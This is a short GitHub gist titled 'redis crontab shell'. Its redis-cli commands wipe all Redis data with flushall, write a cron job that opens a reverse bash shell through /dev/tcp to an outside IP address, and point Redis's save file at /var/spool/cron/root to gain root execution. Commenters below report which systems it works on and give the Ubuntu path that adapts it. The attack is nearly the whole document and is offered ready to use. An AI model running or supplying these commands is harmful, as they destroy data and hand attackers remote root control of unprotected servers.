Skip to content

Instantly share code, notes, and snippets.

@carnal0wnage
Last active October 13, 2023 07:42
Show Gist options
  • Save carnal0wnage/df7082a56f1d7bc9681ceb3fea65c0fe to your computer and use it in GitHub Desktop.
Save carnal0wnage/df7082a56f1d7bc9681ceb3fea65c0fe to your computer and use it in GitHub Desktop.
redis crontab shell
redis-cli flushall
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
from https://phpinfo.me/2016/07/07/1275.html
@imfht
Copy link

imfht commented Nov 29, 2018

not working for ubuntu16.04
works well on centos 6.9

@the-mr-robot
Copy link

the-mr-robot commented Oct 13, 2023

not working for ubuntu16.04 works well on centos 6.9

for Ubuntu the config directory is /var/spool/cron/crontabs

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment